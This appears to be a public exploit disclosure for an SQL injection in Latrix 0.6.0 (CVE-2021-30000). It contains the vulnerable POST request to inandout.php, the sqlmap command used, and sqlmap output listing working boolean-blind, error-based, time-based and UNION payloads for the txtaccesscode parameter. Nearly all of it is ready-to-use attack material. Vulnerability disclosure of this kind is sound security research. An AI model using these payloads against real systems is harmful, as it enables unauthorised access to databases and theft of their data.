cptsticky Rename Latrix 0.6.0 – SQL Injection to CVE-2021-30000 History

1 contributor

57 lines (45 sloc) | 2.24 KB

```
# Exploit Title: Latrix 0.6.0 - SQL Injection
# Date: 03/30/2021
# Exploit Author: cptsticky
# Vendor Homepage: https://sourceforge.net/projects/latrix
# Software Link: https://sourceforge.net/projects/latrix/files/latest/download
# Version: 0.6.0
# Tested on: Ubuntu 20.04


POST /latrix/inandout.php HTTP/1.1
Host: 18.222.194.190
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://18.222.194.190
Connection: close
Referer: http://18.222.194.190/latrix/inandoutcode.php?target=inandout
Cookie: PHPSESSID=q9b6a0e050sl6jae7u64usvrs1
Upgrade-Insecure-Requests: 1

txtaccesscode=111&btnsubmit=Submit




Command used to prove injection: sqlmap -r bam.txt -p txtaccesscode


Output
----------------snip----------------
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: txtaccesscode (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: txtaccesscode=-3451' OR 7070=7070#&btnsubmit=Submit

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: txtaccesscode=111' AND GTID_SUBSET(CONCAT(0x716b627a71,(SELECT (ELT(2717=2717,1))),0x71786a7071),2717)-- GnJe&btnsubmit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: txtaccesscode=111' AND (SELECT 8547 FROM (SELECT(SLEEP(5)))qHfx)-- tljS&btnsubmit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 22 columns
    Payload: txtaccesscode=111' UNION ALL SELECT CONCAT(0x716b627a71,0x7577616c424c7a446a4c7854717a7372696c7145414e4e5a597a4e76784e616e6f48635971446b44,0x71786a7071),NULL,NULL,NULL
---
[16:29:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 19.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.6

----------------snip----------------
```